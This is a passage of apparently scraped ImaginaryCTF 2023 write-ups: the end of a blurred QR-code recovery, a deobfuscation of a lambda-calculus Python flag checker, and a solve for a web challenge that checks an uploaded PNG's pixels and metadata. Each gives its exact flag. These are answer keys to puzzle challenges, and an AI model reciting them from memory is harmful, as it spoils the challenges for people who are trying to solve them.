recovered) cv.imshow('recovered', recovered) cv.waitKey(10) ``` After some time, we have the recovered qr code![recovered](https://i.imgur.com/Uc8lSmx.png) Scan it and get the flag: ictf{blurR1ng_is_n0_m4tch_4_u_2ab140c2}
**TL;DR:** Obfuscated Python code using lambda-calculus. **Description:** Mary had a flagchecker, its fleece was white as snow. ## Introduction We are given a Python script, consisting in a single line of ~26k characters, with lots of lambda-functions. The full script is available [here](https://github.com/ret2school/ctf/blob/master/2023/imaginaryctf/reverse/sheepish/src/sheepish.py), see the beginning and the end of the file below. ```pythonprint((((lambda _____________:((lambda ___:_____________(lambda _______:___(___)(_______)))(lambda ___:_____________(lambda _______:___(___)(_______)))))(lambda _____________:lambda ___________:lambda ______:(lambda ____:(lambda _:_(lambda __________:lambda _____:__________))(____))(___________)(lambda _:(lambda __________:lambda _____:__________))(lambda _:(lambda __________:lambda _____:__________(_____)(lambda __________:lambda _____:_____))((lambda __________:lambda _____:(lambda __________:lambda _____:__________(_____)(lambda __________:lambda _____:_____))((lambda __________:lambda _____:(lambda __________:__________(lambda _:(lambda __________:lambda _____:_____))(lambda __________:lambda _____:__________))[...](lambda _____________:(lambda ________:(((lambda ____:lambda ___:(lambda __________:lambda _____:lambda ______________:______________(__________)(_____))(lambda __________:lambda _____:_____)((lambda __________:lambda _____:lambda ______________:______________(__________)(_____))(___)(____)))(_____________(________[1:]))(((lambda _____________:((lambda ___:_____________(lambda _______:___(___)(_______)))(lambda ___:_____________(lambda _______:___(___)(_______)))))(lambda _____________:(lambda __:(((lambda __:lambda __________:lambda _____:__________(__(__________)(_____)))(_____________(__-1))) if __ else (lambda __________:lambda _____:_____)))))(________[0]))) if len(________) else ((lambda __________:lambda _____:lambda ______________:______________(__________)(_____))(lambda __________:lambda _____:__________)(lambda __________:lambda _____:__________))))))(input(">>> ").encode())))("Well done!")("Try again..."))``` In order to make the code more "readable", we can replace the variable names (`_`, `__`, `___`, ...) with more readable names (`x1`, `x2`, `x3`, ...) ## A bit of culture In theoretical computer science, it is known that [lambda-calculus](https://en.wikipedia.org/wiki/Lambda_calculus) is Turing-complete. In other words, any program can be simulated with "lambda-terms", namely, terms similar to `lambda` functions in Python. For instance, the constant "true" can be simulated with the lambda-term λx.λy.x, and "false" with λx.λy.y. Integers can be represented as [Church numerals](https://en.wikipedia.org/wiki/Church_encoding). The website <https://lambdacalc.io/> provides a good summary of "common lambda-terms" used to simulate common operations in programming. ## Deobfuscation, and solve When looking closer at the code, we can observe such terms. For instance, the constants true and false:```pythontru = (lambda x10:lambda x5:x10)fls = (lambda x10:lambda x5:x5)``` as well as the Church numerals and their arithmetic operations:```pythonpower = (lambda x10:lambda x5:x5(x10))is0 = (lambda x10:x10(lambda x01:(fls))(tru))succ = (lambda x2:lambda x10:lambda x5:x10(x2(x10)(x5)))pred = (lambda x2:lambda x13:lambda x3:x2(lambda x12:lambda x9:x9(x12(x13)))(lambda x01:x3)(lambda x10:x10))plus = (lambda x10:lambda x5:x10(succ)(x5))minus = (lambda x10:lambda x5:x5(pred)(x10))le = (lambda x10:lambda x5:is0(minus(x10)(x5)))ge = (lambda x10:lambda x5:is0(minus(x5)(x10)))mult = (lambda x10:lambda x5:lambda x14:x10(x5(x14)))two = (lambda x10:lambda x5:x10(x10(x5)))three = (lambda x10:lambda x5:x10(x10(x10(x5))))four = (succ)(three)``` The script is now way shorter, and a bit understandable (see [here](https://github.com/ret2school/ctf/blob/master/2023/imaginaryctf/reverse/sheepish/src/sheepish_deobf2.py)). We can recognize a sequence of arithmetic expressions, such as: ```((plus)(mult((power)(two)(four))(succ(mult(two)(three))))((plus)(mult(two)(three))(succ(mult(two)(three)))))``` The characters of the flag, maybe? To solve the chall, I took the expressions, and I reimplemented the operators (full script [here](https://github.com/ret2school/ctf/blob/master/2023/imaginaryctf/reverse/sheepish/src/sheepish_arith.py)): ```pythondef plus(x): return lambda y: x + y def mult(x): return lambda y: x * y def power(x): return lambda y: x ** y def succ(x): return x+1 zero = 0two = 2three = 3four = 4 flag = "" flag += chr(((plus)(mult((power)(two)(four))(succ(mult(two)(three))))((plus)(mult(two)(three))(succ(mult(two)(three))))))flag += chr(((plus)(mult((power)(two)(four))(three))(mult((plus)(two)(three))(three))))[...]flag += chr(((plus)(mult((power)(two)(four))(mult(two)(three)))(three)))flag += chr(((plus)(mult((power)(two)(four))(mult(two)(three)))((power)(three)(two)))) print(flag[::-1])``` **FLAG:** ictf{d0_sh33p_b@@@?} ## Upsolve Even if identifying the arithmetic expressions was enough to solve the challenge, I was curious to understand the rest of the script. In particular, the first lambda-term is very strange: ```python(lambda x13:((lambda x3:x13(lambda x7:x3(x3)(x7)))(lambda x3:x13(lambda x7:x3(x3)(x7)))))``` `x3` is applied to itself! This term is a fixed-point combinator, more precisely a Z combinator: see theoretical details [here](https://en.wikipedia.org/wiki/Fixed-point_combinator). Roughly, it's a term that can be used to simulate recursion. Moreover, a long sequence of "chained" pairs appears at the beginning:```python((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4))) ((lambda x4:lambda x3:pair(fls)(pair(x3)(x4))) ((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4))) ((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4)))((lambda x4:lambda x3:pair(fls)(pair(x3)(x4))) ((lambda x4:lambda x3:pair(fls)(pair(x3)(x4))) (pair(tru)(tru)) [...]) [...]) [...])``` This term actually represents a linked list, whose elements are the susmentionned arithmetic expressions. After further deobfuscation/understanding, we can conclude that the script performs successive comparisons on the chars of the input, in reverse order, with the chars in the linked list. ## Conclusion As a functional programming lover, I enjoyed a lot solving this chall. A big thanks to the author!I know it was possible to side-channel it, but it was funnier with lambda-calculus :)
### Description>Someone seems awful particular about where their pixels go... Source code is provided, so let's review it before we check [the site](http://perfect-picture.chal.imaginaryctf.org). ## ReconThere's 75 LOC in `app.py` so let's breakdown the important parts. The storage location of uploaded images and allowed extensions are configured.```pythonapp.config['UPLOAD_FOLDER'] = '/dev/shm/uploads/'app.config['ALLOWED_EXTENSIONS'] = {'png'}``` When we upload a file, it splits on a `.` and looks at the rightmost split (extension). If the lowercase string matches the allowed extension (`png`) then the filename is allowed.```pythonreturn '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']``` Next, a random image name is generated.```pythonimg_name = f'{str(random.randint(10000, 99999))}.png'``` A `check` function is called which will first read the flag into a variable.```pythonwith open('flag.txt', 'r') as f: flag = f.read()``` The dimensions of the image must be `690 x 420 (w x h)` and specific pixels need match the expected colours.```pythonwith Image.open(app.config['UPLOAD_FOLDER'] + uploaded_image) as image: w, h = image.size if w != 690 or h != 420: return 0 if image.getpixel((412, 309)) != (52, 146, 235, 123): return 0 if image.getpixel((12, 209)) != (42, 16, 125, 231): return 0 if image.getpixel((264, 143)) != (122, 136, 25, 213): return 0``` Next, `exiftool` confirms that the metadata is as expected.```pythonif metadata["PNG:Description"] != "jctf{not_the_flag}": return 0if metadata["PNG:Title"] != "kool_pic": return 0if metadata["PNG:Author"] != "anon": return 0``` If all the checks pass, the flag will be returned! ## SolutionOK, so based on our analysis we need to create an image with the following properties:- Dimension (w x h) of `690 x 420`- Pixel (`412, 309`) is (`52, 146, 235, 123`)- Pixel (`12, 209`) is (`42, 16, 125, 231`)- Pixel (`264, 143`) is (`122, 136, 25, 213`)- Image `description` is `jctf{not_the_flag}`- Image `title` is `kool_pic`- Image `author` is `anon` I'm lazy, so asked ChatGPT to make a python script (note: exif packages failed for me, as they were strict on keys so used subprocess with exiftool instead).```pythonfrom PIL import Image, ImageDrawimport subprocess # Define the image dimensionswidth = 690height = 420 # Create a blank image with a white backgroundimage = Image.new("RGBA", (width, height), (255, 255, 255, 255))draw = ImageDraw.Draw(image) # Set the specified pixel valuespixels = { (412, 309): (52, 146, 235, 123), (12, 209): (42, 16, 125, 231), (264, 143): (122, 136, 25, 213)} for (x, y), color in pixels.items(): draw.point((x, y), fill=color) # Save the image without metadataimage.save("generated_image.png") # Close the imageimage.close() # Add image description, title, and author as metadata using exiftooldescription = "jctf{not_the_flag}"title = "kool_pic"author = "anon" subprocess.run([ "exiftool", "-Description=" + description, "-Author=" + author, "-Title=" + title, "generated_image.png"])``` We upload the generated image and receive the flag in return.```txtictf{7ruly_th3_n3x7_p1c4ss0_753433}```